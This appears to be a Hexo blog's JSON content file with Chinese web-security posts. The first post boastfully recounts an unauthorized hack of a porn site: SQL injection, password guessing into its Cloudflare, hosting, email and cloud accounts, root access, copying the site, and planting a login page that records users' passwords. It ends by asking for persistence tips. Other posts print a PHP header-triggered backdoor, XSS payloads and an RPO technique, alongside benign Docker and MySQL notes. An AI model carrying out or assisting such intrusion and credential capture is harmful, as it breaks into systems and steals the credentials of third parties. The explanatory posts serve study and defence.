-
Notifications
You must be signed in to change notification settings - Fork 0
/
content.json
1 lines (1 loc) · 33.2 KB
/
content.json
1
[{"title":"强行绕开CDN怒怼福利网站","date":"2018-10-26T14:09:50.000Z","path":"2018/10/26/Hack-Record1/","text":"对某福利网站的渗透测试Author:C0d3r1iu0x00 前言三个月前偶遇一个福利网站,在欣赏网站内容的同时对其进行了检测,最后以root的身份逛了逛他的vps,打包了整站。也算是为净化网络做了一点点贡献。 首页图片就不放了,过程中很多图当时都没截,还请大家将就一下 0x01 识破虚幻:对于我来说,渗透的本质是有效信息收集和利用(因为基本混不到最新的0day) 通过浏览器插件Wappalyzer可以知道: 主站是用wordpress改的,主要运营模式是通过后台发布资源并且配合插件兜售邀请码 网站有CDN,还是国外的CloudFlareCDN 扫了一遍目录,没发现什么敏感备份,主站几乎无望 收集子域名,发现: pay.xxx.xxx(用于支付购买其邀请码,类似发卡平台) ss.xxx.xxx (用于给会员提供ss翻墙???) 其中 pay.xxx.xxx 在网站底部发现是用的EDLM发卡程序 第一次听说这个程序,去百度搜了一下发现是一个私人写的支付检测并自动发卡的程序,需要在服务器上开启客户端一直监听着支付宝或者微信有无收款信息再配合系统进行发卡确认。 它的官网貌似也用的和pay这个子站点一样的版本,下载网上流传的免费版审计一波,发现了一处sql盲注 这个代码写的有点意思,其中特地注释了 “防止sql注入” 差点就把我吓跑了,下面附上自己体会: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293//判断被设置(被修改)后内容是否为空白if($_POST['text'] != ''){ $sql = \"SELECT * FROM `kms` WHERE `dh` LIKE '\".intval($_POST['text']).\"';\";//设置sql语句查询此单号是否已使用过 $result = $config->query($sql);//执行sql语句并获取结果 $row = $result->fetch_assoc(); //判断结果是与否 if($row){ //是则执行以下代码 $_POST['text'] = intval($_POST['text']);//防止sql注入 $sql = \"SELECT * FROM `kms` WHERE `dh` LIKE '\".$_POST['text'].\"';\";//设置sql语句查询此单号是否已使用过 $result = $config->query($sql);//执行sql语句并获取结果 while($rows = $result->fetch_assoc()){ $kms .= $rows['km'].\"\\n\"; } $sql = \"SELECT * FROM `lists` WHERE `spid` LIKE '\".$row['spid'].\"';\"; $result = $config->query($sql);//执行sql语句并获取结果 $sp = $result->fetch_assoc(); echo ' <div class=\"am-panel am-panel-primary\" id=\"look\"> <ul class=\"tpl-task-list tpl-task-remind\"> <li> <center><span>Tip:查询成功</span></center> </li> <li> <div class=\"cosA\"> <span class=\"cosIco label-info\"> <i class=\"am-icon-location-arrow\"></i> </span> <span> 名称: <span class=\"font-green\">'.$sp['title'].'</span></span> </div> </li> <li> <div class=\"cosA\"> <span class=\"cosIco\"> <i class=\"am-icon-mixcloud\"></i> </span> <span> 云端单号: <span class=\"font-green\">'.$row['dh'].'</span></span> </div> </li> <li> <div class=\"cosA\"> <span class=\"cosIco label-danger\"> <i class=\"am-icon-key\"></i> </span> <span> 卡密: <span class=\"font-red\">(1行/1个)</span></span> <textarea rows=\"5\">'.$kms.'</textarea> </div> </li> <li> <div class=\"cosA\"> <span class=\"cosIco label-warning\"> <i class=\"am-icon-jpy\"></i> </span> <span> 价格:<span class=\"font-green\">'.$sp['money'].'</span></span> </div> </li> <li> <div class=\"cosA\"> <span class=\"cosIco\"> <i class=\"am-icon-credit-card\"></i> </span> <span> 支付方式:<span class=\"font-green\">'.$row['mode'].'</span></span> </div> </li> <li> <div class=\"cosA\"> <span class=\"cosIco label-warning\"> <i class=\"am-icon-history\"></i> </span> <span> 提卡时间:<span class=\"font-green\">'.date('Y-m-d H:i:s',$row['time']).'</span></span> </div> </li> </ul> </div> ';//输出查询结果代码 }else{ //查询支付宝数据是否存在此单号 $sql = \"SELECT * FROM `zfb` WHERE `dh` LIKE '\".$_POST['text'].\"'\";//设置sql语句查询支付宝单号列表是否存在此单号 $result = $config->query($sql);//执行语句并获取结果 $row = $result->fetch_assoc();//解析结果并分组 $mode = '支付宝'; if(!$row){ $sql = \"SELECT * FROM `qq` WHERE `dh` LIKE '\".$_POST['text'].\"'\";//设置sql语句查询QQ单号列表是否存在此单号 $result = $config->query($sql);//执行语句并获取结果 $row = $result->fetch_assoc();//解析结果并分组 $mode = 'QQ钱包'; if(!$row){ $sql = \"SELECT * FROM `wx` WHERE `dh` LIKE '\".$_POST['text'].\"'\";//设置sql语句查询微信单号列表是否存在此单号 $result = $config->query($sql);//执行语句并获取结果 $row = $result->fetch_assoc();//解析结果并分组 $mode = '微信支付'; } } 仔细看过后易知,起作用的语句:$_POST['text'] = intval($_POST['text'])被写到第一个if判断正确之后才会执行的流程里面了 我们只需要让他判断的条件为否,进入else流程内执行sql,就可以传入没有过滤的$_POST[‘text’]了。 intval函数会把传入的注入语句字符串默认转为0,还好这里没有订单号为0的数据,自然返回的$row也就是NULL,从而php代码会执行else之后的部分,之后的部分他并没有进行过滤。 并且这个开发作者安全意识并不高,后台管理员密码居然是明文储存的。 尝试本地搭建获得库的结构 简单构造语句写出脚本注出密码成功登录后台,发现除了一片白花花的邀请码其他什么可利用的功能的都没有。(这里当时没截图) 冷静思考后尝试用注入出来的后台密码去登录主站的后台居然进去了 主站是wordpress的话,尝试修改配置文件拿shell,可惜每次插入一句话木马,点击保存都会卡几分钟后提示操作失败。猜测是cloudflare CDN把请求拦截了,直接getshell怕是不行了(后来进服务器发现有宝塔btwaf服务,猜测或许是被规则拦截了) 于是换个思路: 再收集其信息,确定了几个常用邮箱,开始尝试密码组合登录cloudflare 不得不说常用密码这个弱点太无敌了,直接登录了他的cloudflare账户。 汗,这个人为了开个破黄网居然买了这么多不同后缀的域名! 发现很多二级域名最开始还没发现 = =! 0x02 回到真实之后:得到服务器真实ip,我们可以进一步搜集信息 这里说下我的思路: 在tool.chinaz.com中查看ipwhois 得到它的vps服务商是CubeCloud的 百度发现是一家名叫魔方云的主机商 其他服务器也有在阿里云的,不过主站在魔方云还是先搞主站 尝试密码组合登录进魔方云主机管理平台(发现他好喜欢用@,密码不是xxxx@就是xxxx@@) 直接可以通过网页管理端申请1小时在线管理终端,蹦出来h5的console,进去就是root权限 这里随便翻翻,可以发现他是用宝塔在维护管理服务器的 将其整站源码打包带走,百度盘的资源有300多个。 发现数据库配置密码也没能逃出我猜测的几个密码集合 233 给了基友们一些网站的邀请码,站长可能发现新注册的用户跟收钱记录不符,起了疑心把后台管理密码改了。 遂把他wp后台登录页面改写了下添加了监控账号密码功能,用终端直接wget传上去解压覆盖达到了监控目的,顺便又能蹲一波他常用的密码,结果这个网站所有用户都是通过后台登录的,捕获了一大堆非管理用户… 后又将他的网易邮箱,阿里云,以及通过域名whois查到的域名商dynadot账户都一一缴获了,用常用的几个密码真是太不安全了。 通过部署各种监控代码、查看日志、各种平台注册信息等等发现他不是一个人在战斗,尼玛他们是一个团伙啊!! 此团人员分布在河南、四川、上海等地 有人负责发布资源、有人则负责建设和维护网站(显然没有一点点安全意识) 负责网站建设的是00后,自称鑫爵,颇喜欢用’qq’ + 自己生日 + 一两个@当作密码 负责收款的30多岁,目测网站月盈利万元,果然赚钱的法子都写在刑法上… 0x03总结&后续:从这次渗透可以看出来信息收集的重要性,不要放过任何一个可能有用的信息,利用好了可能就是秒杀。 后续服务器权限并不好控制,被发现后服务器被重置了,vps管理平台密码也被改了,很无奈。中间一些操作有点着急了,使得行为暴露的很彻底(网易和阿里云异地登录记录)。 各位有什么好的持续控制思路求分享~ 希望能学习下各位的思路 ,可以私信加好友一起玩啊… To Be Continued:距这次渗透已经过去了3个月,最近发现这个团伙换了个域名又开始作案了,发卡平台系统也更新了,真是无语。潜入了那个发卡平台交流群,从公告得知这位开发者已经发现这个漏洞啦(可能是监测到了我注入他官网发的一系列http请求日志) 我还是太年轻,渗透未完待续… ######最后 [email protected] 求web安全实习机会~","tags":[{"name":"渗透测试","slug":"渗透测试","permalink":"http://blog.recorday.cn/tags/渗透测试/"}]},{"title":"Hello World","date":"2018-09-25T01:02:37.361Z","path":"2018/09/25/hello-world/","text":"折腾了一整天,才把这新鲜的 “静态博客” 搭建好,期间经历的艰难困苦想必是大家无法想象的。 因为某些原因,我这里github和CSDN是不能访问的,在linux下克服这个问题,我用了proxychains4 这款神器,搭配“瑞士军刀” —— shadowsocks ,搞了个好点的vpn才算是解决了,然而解决之时,正好也是日落之时,这一天又这样悄悄的过去了。 1print '生活是屎一样的三明治,饥饿的你不得不去面对它!'","tags":[]},{"title":"XSS之RPO攻击","date":"2018-03-26T14:09:50.000Z","path":"2018/03/26/XSS-RPO/","text":"从强网杯一道XSS初探RPO攻击这周末参加了强网杯,被题目虐得一塌糊涂,最终队伍排名160+,尴尬收场 其中有一道WEB XSS考察的点是RPO,之前不知道,在比赛中查资料学习了,在此梳理一下 我试着用一句话尽可能描述的清楚: RPO:浏览器和服务器之间接受url请求之后,由于对url编码解析结果不同,造成引用的资源路径可被伪造 让我们先看看他们各自的职责: 服务器: 1.接受HTTP请求包 2.根据url地址返回客户端请求的html以及资源文件 浏览器: 1.根据用户输入的url去请求资源以加载网页 2.接收服务器返回的html和包含的资源,用规定好的方式把这些 “东西” 显示给用户 RPO攻击究竟利用点在哪里呢? 就是/..%2f/在服务器和浏览器下的解析存在差异 在服务器看来,这是被url编码过的字符串,应该先解码再解析地址 于是就被解析成了/..// ,代表着回溯到上一个目录 而浏览器则会认为这是一个目录,目录名叫/..%2f/ 正常访问/index.php 和 /index.php/test/ 返回的页面都是/index.php 但如果这个页面有如下代码(没有加绝对路径): <link rel="stylesheet" href="static/css/style2.css"> 则会造成浏览器寻找资源路径从原本的/static/css/style2.css 变为 /index.php/static/css/style2.css 从而导致显示样式不正常 危害更大的点则是页面编码时嵌入了../这类不负责任的相对路径,这将提供XSS攻击利用条件 正如这道CTF题目: 当我们在此页面相同目录下可控制输出的话,可以构造路径进行xss攻击 这道题目就是这样,虽然可以输出任意字符到特定界面,但是被转义得没脾气 我们不得不求助于rpo,利用其他页面的script标签来帮助我们执行js代码。 我们要做的是: 1.写入js代码(为了防止转义这里需要eval(String.fromCharCode)或者以alert(1)作为演示) 2.构造加载路径,在浏览器中访问: /index.php/view/article/1071/%2f..%2f../ 3.让服务器接收我们构造好的路径之后,解析返回存在上述代码的页面 服务器会认为这个链接请求的资源路径为:/index.php/view/article/1071//../../也就是/index.php/view/,并将/index.php/view/对应的页面返回给浏览器 4.浏览器接收到/index.php/view/ 这个页面,在解析html代码时,以它的理解,<script src=../static/js/jquery.min.js等同于 /index.php/view/article/1071/%2f..%2f../../static/js/jquery.min.js 而/%2f..%2f../被它认作一个目录,/%2f..%2f../../ 之间相互抵消了 因此会加载/index.php/view/article/1071/static/js/jquery.min.js 由于文件不存在,在/1071/之后的字符都当作PATHINFO传参处理了,至此我们成功的将 /1071/界面引入了script标签中,从而执行我们给定的js代码 总结:实际上web安全的面非常广,要学习的点点滴滴还很多,不能浅尝辄止,半途而废 参考文章:http://blog.nsfocus.net/rpo-attack/","tags":[{"name":"XSS","slug":"XSS","permalink":"http://blog.recorday.cn/tags/XSS/"}]},{"title":"Mysql_Lock","date":"2018-03-21T13:22:25.000Z","path":"2018/03/21/Mysql-Lock/","text":"记一次操作Mysql总是被锁的情况的处理还是上篇文章说的那个项目。。。 改完学姐的脚本之后好不容易给数据库打完了标签结果老师又说要新加字段 面对新来的需求,我只能用微笑来面对了(mmp) 数据总共有20-30W条,用navicat和mysql终端添加列均以失败告终 把软件卡崩溃了n次,pt-online-schema-change 神器完美的解决这样的问题。 详情 -> 链接 尼玛,自从上次停电之后操作数据库总是莫名其妙被锁表 这样会导致针对此表只能 select 而不能修改 在网上查了一些解决方案,发现一种治标不治本的:1234show processlist #(这是我接这个项目之后用得最熟练的语句)kill ID#由上一步得知哪些操作sleep了但是没有执行,统统kill掉 但是下一次如果操作过于猛烈仍然会被锁! 用脚本跑几下,直接被锁 + 报错 ERROR 1205 (HY000): Lock wait timeout exceeded; try restarting transaction 尝试了几次,一运行脚本就开始在navicat查询界面运行select * from innodb_trx --+ 或者 innodb_locks 这样可以“动态地”看到你的请求慢慢被锁的过程 DBA可以通过这种方法快速找到被锁的原因 给出最终解决方法:设置MySQL锁等待超时 innodb_lock_wait_timeout=50 ,autocommit=on 确保脚本每一个execute后都有一个commit 之后经过几次调试我的脚本没问题了(select+insert+update),但是学姐的脚本还是跑不动 她也是负责打标签,按理说不应该啊 后来另外一个同学 @fy 帮她看了看脚本,原来update 的条件语句是搜索字符串(如 where name = ‘xxxx’) 这样即使是解锁了,也会很慢,大量请求可能导致再次被锁 而我是用id来定位行来处理,后来fy帮学姐改了脚本,搞定! 总算是完成了,希望别再改需求了! 总结:1.第一次接触几十万数据的处理,有点知识储备不足了,DBA工资高头发少还是有原因的。2.希望下次能尝试新兴数据库吧,比如mongodb啥的。3.sql语句写法和功能真的太多了,继续跟进学习! 参考资料:记一次处理MySql锁等待(Lock wait timeout exceeded","tags":[]},{"title":"PHP函数之parse_str()","date":"2018-03-04T10:15:16.000Z","path":"2018/03/04/PHP-parse-str/","text":"今天看到一个后门,自己看了一会儿并没有认出怎么用,后来查找资料复现执行了一下,记录一下: 后门是这样的: 1234567<? php$opt_x = $_SERVER['HTTP_X']; if(strlen($opt_x)>20) { parse_str($opt_x); $cfg($opt); }?> 首先给$opt_x传入$_SERVER[‘HTTP_X’](在http头传输X: xxxx 就可以了) 如果长度大于20,则执行parse_str($opt_x) parse_str()的作用是把传入的字符串解析成多个变量 之后就可以通过这个变量覆盖$cfg和$opt,执行任意代码了。 这波骚操作两个点,分别说一下: 1.$SERVER[HTTP_XXXXXX]经过测试,将XXXX替换成任意大写英文都可以实现通过自定义HTTP头传参,以前没怎么注意过,还以为是改了中间件配置才实现的。 2.parse_str()函数void parse_str ( string $encoded_string [, array &$result ] ) 如果 encoded_string 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )。如果设置了第二个变量 result, 变量将会以数组元素的形式存入到这个数组,作为替代。 自己根据功能写了一个简易版的parse_str()函数 1234567891011121314151617181920212223242526<?phpfunction Myparse_str($encode){//判断参数是否符合要求 if($encode==''||strpos($encode,\"=\")==false) { return null; }//确定变量数量,用于处理多个变量需求 if(strpos($encode,\"&\")!==false ) { $encode=explode(\"&\",$encode); foreach ($encode as $param) {//限制两个数组,避免多个等号的情况 $param=explode(\"=\",$param,2); $GLOBALS[$param[0]]=$param[1]; } }//单一变量转换 else { $encode=explode(\"=\",$encode,2); $GLOBALS[$encode[0]]=$encode[1]; }}?> 感想:php真是神奇的语言啊,一个超全局变量不仅名字霸气功能也方便,简单粗暴exciting!","tags":[]},{"title":"初审cmseasy之 基本解混淆","date":"2018-03-02T09:04:51.000Z","path":"2018/03/02/cmseasy01/","text":"看了一下lib目录下所有代码都是被混淆过了,可能是开发人员想过滤掉初级无脑扫描分析工具吧 不解密的话代码都看不到,不知道解密完了能不能发现一些好玩的东西。 分析混淆代码不难发现,每一个文件后面都是加密的原始源码 经过层层替换: 1234567<?php$o00o=$file_get_contents(__FILE__);$o00o=substr(str_replace(substr($o00o,0,2054),'',$o00o),0,-2);eval(gzinflate(base64_decode($o00o))); 此时可以看到,这段代码的含义是读取自身文件,并且将前面2054个字符和最后2个(注释符)替换掉,从而得到gzinflate(base64_encode)的字符串 并且通过eval(解密) 进行执行,化简完的代码: 还原后可以进一步查看能否在eval函数中搞一点事情 按它给的方法进行文件内容处理 之后再把执行的函数换成echo,这个时候就可以迈过这个坎儿,进行下一步的审计了。 用php写个脚本跑了单个文件,成功了,随后可以批量解密,这个时候py脚本还得调用php,就不如直接撸php脚本解密快了。 最终批量检测还原代码效果(自动遍历文件并检测解密): test.php 天呐,终于完善了这个无聊之作,解密脚本就不发了,练习php之作比较笨拙 最后附上解密代码: 123456<?php$content=file_get_contents('1.txt');$next=substr(str_replace(substr($content,0,2054),'',$content),0,-2);$content=gzinflate(base64_decode($next));file_put_contents('1.txt',$content);?> 总结:不要死认准一种语言coding,有时候php比py好用得多","tags":[]},{"title":"网易图片解析为html漏洞复现","date":"2018-02-28T13:44:08.000Z","path":"2018/02/28/neteast-jpg-react/","text":"昨天看到吐司上面有人发了篇帖子,大概讲的是 楼主发现了搜狗和网易有某种漏洞,上传的图片可以解析图片文件中夹带的js代码 果然吐司大牛如云,下面马上就有人回帖贴出了一个网易的地址,打开就弹窗了。。。 于是看着大家的讨论,自己也复现了一波: 测试复现地址 首先去网易某分站注册,找到上传图片的入口,打开burp抓包 新建一个文件,输入html代码保存为图片格式并上传 将Content-type:text/plain修改成Content-type:text/html 这样浏览器在识别这样的文件后会调用html解析器对文件进行解析 整理一下相关知识吧: Content-Type MediaType,即是Internet Media Type,互联网媒体类型;也叫做MIME类型,在Http协议消息头中,使用Content-Type来表示具体请求中的媒体类型信息。 Content-type 告诉用户浏览器如何显示或者解析将要加载的数据文件 常见的媒体格式类型如下:123456text/html : HTML格式text/plain :纯文本格式 text/xml : XML格式image/gif :gif图片格式 image/jpeg :jpg图片格式image/png:png图片格式 一些小伙伴叫这个 ‘xss’,而我感觉这更像是文件上传缺陷。 涉及的危害我想包括但不限于: 群发广告(毕竟是大站的域名,应该自带白名单),钓鱼诈骗,剩下的盗取cookie什么的如果开启了http-only,同源策略,内容安全策略限制的好应该很难利用吧233。","tags":[{"name":"漏洞复现","slug":"漏洞复现","permalink":"http://blog.recorday.cn/tags/漏洞复现/"}]},{"title":"HappyNewYear","date":"2018-02-15T10:52:34.000Z","path":"2018/02/15/HappyNewYear/","text":"2018狗年大吉!年前重制了自己的作品demo,并且录了一句人声,这大概是我做的最无聊的一件事了,算是一个新年礼物送给自己。 点击试听或下载 最后祝大家新年快乐,多陪陪家人!希望自己在新的一年不要浮躁,潜心研究技术,用心玩出好的音乐!希望自己在新的一年不要浮躁,潜心研究技术,用心玩出好的音乐!","tags":[]},{"title":"Hello,Docker","date":"2018-01-26T10:45:23.000Z","path":"2018/01/26/Hello-Docker/","text":"倚天屠龙Docker部署记很久以前就听@LYZ说过Docker,最近要办HITCTF了才想起来要学习,记录一下环境的部署 采用环境:腾讯云VPS(ubuntu16.04) + MobaXtern(SSH管理工具)首先贴一份docker安装脚本,保存为docker.sh传到服务器上,sudo运行 1234567891011#!/bin/bashsudo apt-get -y update && apt -y upgradesudo apt-get -y install apt-transport-https ca-certificates curl software-properties-common#添加Docker官方GPG公钥curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -sudo add-apt-repository \\ \"deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) edge\"sudo apt-get -y updatesudo apt-get -y install docker-cecurl -L https://github.com/docker/compose/releases/download/1.18.0/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-composechmod +x /usr/local/bin/docker-compose 接着出现一系列更新,都敲回车一路过来,直到完成,输入docker -v 查看版本 如果回显正常那么恭喜你docker环境配置完成了 一些配置时用到的基本命令(使用前请加sudo):查看镜像docker images ls 查看容器docker container ls 停止运行的容器docker stop id 移除容器docker rm id 远程获取ubuntu16.04docker pull ubuntu:16.04 从本地的dockerfile启动容器docker-compose -f local_db.yml up -d --build 获取当前容器运行日志docker-compose -f 配置文件 logs --tail all docker跑起来时,暂停/恢复:12docker pause iddocker unpause id 值得注意:当你有一个容器在跑mysql服务,将3306端口映射到主机上时,再启动一个容器就要小心端口占用的问题了。","tags":[]},{"title":"sql-lab-begin","date":"2018-01-26T09:33:33.000Z","path":"2018/01/26/sql-lab-begin/","text":"","tags":[]},{"title":"XSS-Explain-2","date":"2018-01-26T05:22:01.000Z","path":"2018/01/26/XSS-Explain-2/","text":"","tags":[]},{"title":"XSS跨站脚本攻击探讨总结","date":"2018-01-25T05:29:22.000Z","path":"2018/01/25/XSS-Explain-1/","text":"XSS 跨站脚本攻击漏洞 个人整理12整体篇幅比较长,也算是我自己学习道路上的总结。大家捡有用的看吧,尽可能屎里捞金,还望多多支持我心血来潮的产物~ 一.攻击原理:设计网页时没有对用户输入内容进行有效的过滤,导致用户恶意输入的符号对现有html代码造成闭合,从而加载外部js代码对浏览者进行恶意攻击(获取cookie伪造登录,浏览器截屏,url跳转等等) 比如网页有一功能:某标签内的value引用一个用户输入的值,然而用户使用 “ 闭合value后面的赋值,接着后面输入onload=”alert(1) 又与value原本的第二个” 相结合,构造出一段额外的弹窗代码 1<input name=\"xxx\" value=\" from_user_input \"/> 当 用户输入” onfocus=”alert(1) 时变成了这样:1<input name=\"xxx\" value=\"\" onfocus=\"alert(1) \"/> value后面的值被双引号闭合,后面又构造出了一个on事件,从而执行攻击者自定义的操作 总的来说XSS基本流程是: 攻击者输入->网页输出-> 受害者打开网页浏览中招 二.XSS类型分类:XSS可以大致分为两或三类: 第一类:如果攻击payload存于url中,受害者需要访问特定携带payload的url才会中招,并且payload并不会入库即不会存储持续触发,则可以称此类型的XSS漏洞为反射型XSS比如网页通过调用当前页面get传入的参数显示到页面中。这类XSS最好防范,危险系数也相对较低,但存在数量较多,挖掘成本低 大致流程:访问页面进行构造闭合测试,查看源码或者F12使用开发者工具进行修改调试,能弹窗后进行cookie获取测试 值得一提的是:目前浏览器有自带filter过滤,除火狐浏览器,其他浏览器针对一般的XSS攻击payload已经有了自己的防范机制(放弃加载并警告用户),为了bypass这一机制,需要进行特殊的编码构造,这又是一门学问。 第二类:如果攻击payload可以入库,并且长期反应在某一页面中,受害者只要浏览了特定页面就会中招,则称此类型为储存型XSS。这类XSS危害大,挖掘成本较高(需要目标站的提交数据权限)大致流程:通过修改个人资料或提交留言行为进行测试,一般提交一串xss sheet 或者自己觉得好用的payload,当弹框成功后再考虑构造进一步攻击。 根据构造闭合代码性质不同(html标签or页面JS代码),还可分为普通XSS和Dom型XSS。 笔者曾经挖到过CNZZ个人管理页面的DOM储存型XSS,但是属于self-xss,即只有自己能中招的XSS(其他用户访问不到这个页面),如果不能结合CSRF漏洞则比较鸡肋,属于SRC混分行为。 三.一些经典测试payload:笔者最喜欢用的payload是:1\"><svg/onload=alert(1)// 当时拿着这段payload这插插那插插,一天就过去了,玩的不亦乐乎现在想想,这段短小的payload伴随了我测试XSS漏洞的整个时光呢~ 具体引用外部js的代码姿势是:1<svg/onload=s=createElement('script');body.appendChild(s);s.src='js地址'// 在火狐浏览器下查看的效果(浏览器解析时会自动加上引号): a标签伪协议执行1<a href=\"javascript:alert(1)\" >click me</a> data引用外域资源1<a href=\"data:text/html;base64,这里跟着base64之后的js代码\">click here</a> 外域获取cookie,据我所知只有火狐才可以了,这里涉及同源策略相关知识。 具体情况还需要具体分析,一定要记住 灵活构造 才是XSS最核心的东西 以上是黑盒测试我自己的基本流程 如果平时代码审计呢? 在PHP下我还真审计出来不少,基本操作还是那些,说一个记忆比较深刻的吧 1$_SERVER['PHP_SELF'] 这个PHP超全局变量如果作为输出显示到网页中,会提供当前url,然而不少php环境下开启PATH_INFO,这种功能可以提供路径的形式传参比如Wordpress提供生成静态链接方法,路径是index/article/001,其实这是给index.php传入 article 和 001两个参数,我们可以构造 http://url.cn/index/"><img src=x onerror="alert(1)">/xxx/ 来作为传入参数,这样显示的url也就包括了这一段payload有趣的是,我在写上面代码的时候,我的markdown编辑器预览界面弹窗了233 四.谈谈防护:SOP策略(同源策略)源是主机,协议,端口名的一个三元组。 同源策略(Same Origin Policy, SOP)是Web应用程序的一种安全模型,它控制了网页中DOM之间的访问。注意:它仅仅是个模型 给定一个页面,如果另一个页面使用的协议、端口、主机名都相同,我们则认为两个页面具有相同的源。1EX: http://a.url.cn/c0d3r1iu.html http://a.url.cn:80/marvel/c0d3r1iu.html 同源http://a.url.cn:80/c0d3r1iu.html 同源http://b.a.url.cn/c0d3r1iu.html 同源 (二级域相同的三级域名)https://a.url.cn/c0d3r1iu.html 不同源http://a.url.cn:88/c0d3r1iu.html 不同源https://b.url.cn/c0d3r1iu.html 不同源 通过这些例子,大概能了解什么是同源了吧同源策略只允许来自于同源的页面共享一些数据,比如cookie如果没有同源策略,那浏览器就太不安全了,我们会面临访问任意网站都能跨域访问将你的社交网站的cookie共享,这将使得攻击者拿到你的网站管理权限如同探囊取物。 因此: 同源策略是由Netscape提出的一个著名的安全策略,现在所有支持JavaScript 的浏览器都会使用这个策略,一些网站认为自己设置了CSP(下一节)script:’self’ 就安全了,他们忘记了document.domain是可以修改的! CSP策略(内容安全策略)CSP实际就是一个白名单,它通过设置http头的内容,告诉浏览器可以加载哪些外部资源,比如script,iframe的src可以指定哪些来源 default-srcdefault-src 指定了下列所有的资源加载有效来源。 script-src定义了页面中Javascript的有效来源 style-src定义了页面中CSS样式的有效来源 img-src定义了页面中图片和图标的有效来源 font-src定义了字体加载的有效来源 connect-src定义了请求、XMLHttpRequest、WebSocket 和 EventSource 的连接来源。 child-src指定定义了 web workers 以及嵌套的浏览上下文(如frame和iframe)的源。 关键字(必须要加单引号) 'none' 代表空集;即不匹配任何 URL。 'self' url 代表和文档同源(详见上一节),包括相同的 URL 协议和端口号。 'unsafe-inline' 允许使用内联资源,如内联的<script>元素、javascript: URL、内联的事件处理函数和内联的<style>元素,不怎么安全(除非有设置nonce) 'unsafe-eval' 允许使用 eval() 等通过字符串创建代码的方法。 ![](eval.png) 'nonce-abc' 标签内需要设定和上面相符的nonce值才会执行,google团队提出了一个新的思想,那就是随机化nonce,利用几行后端代码就可以指定nonce之后的值为随机生成的值,使得攻击难度剧增。 不过freebuf上有一篇翻译文章指出,这种情况在服务端开启了缓存的情况下还是可以被攻破: [附上链接](http://www.freebuf.com/articles/web/133455.html) 如果后面空格跟上数据: data: 允许data: URI作为内容来源。 mediastream: 允许mediastream: URI作为内容来源。 PS:如果要采用多种关键字,直接空格连接就OK 做些小实验方便理解一些东西: 123<meta http-equiv=\"Content-Security-Policy\" content=\"default-src 'none';script-src 'nonce-abc'\"><script nonce=\"ab\">alert(1)</script><script nonce=\"abc\">alert(2)</script> 如果不加第一行,那么会弹窗1,2但是加了CSP策略,只会弹出2,因为alert(1)所在的script标签nonce不符合策略要求 接下来通过一个XSS挑战例子说明: 我们设置如下内容安全策略来限制script加载的地址和iframe加载的地址: 当我们试图在iframe将地址设置成 www.baidu.com 的时候,可以看到不会加载成功 如果我们换成符合设定CSP规则的,则可以加载成功 此乃内容安全策略,它限制了在当前网页Dom加载资源的来源 于是我们可以加载主域名相同的其他有XSS漏洞的站点来攻击这个站点 在嵌入的子页面执行攻击代码,通过top方法,获取父页面的document.cookie 五.具体攻击实例&参考文献:根据《网络安全法》,笔者不赘述具体攻击详细分析,可以自行去乌云网镜像网站搜索,学习。 推荐 “心伤的瘦子经典教程”,在这里向他以及消失的乌云致敬! CSP策略部分参考链接: Sakura2016简书:https://www.jianshu.com/p/f1de775bc43e 阿里聚安全:http://jaq.alibaba.com/community/art/show?articleid=518 另附一个挑战赛: XSS千锤百炼挑战赛 学长推荐的,对于新手练习来说也算很不错了,涉及的知识点挺广的。之前忙于其他事情一直也没有把他打穿,然而学长们早都AK了orz,这几天尽量把它做完吧。。。 六.后记&防御XSS攻防好比灵活的舞蹈,需要天马行空的想象,大家加油! 我准备把相关防御和绕过的探讨放到下一篇,因为这一篇写的东西有点多,atom眼看就要崩溃了QAQ,下次再见 :p","tags":[{"name":"XSS 跨站脚本攻击","slug":"XSS-跨站脚本攻击","permalink":"http://blog.recorday.cn/tags/XSS-跨站脚本攻击/"}]}]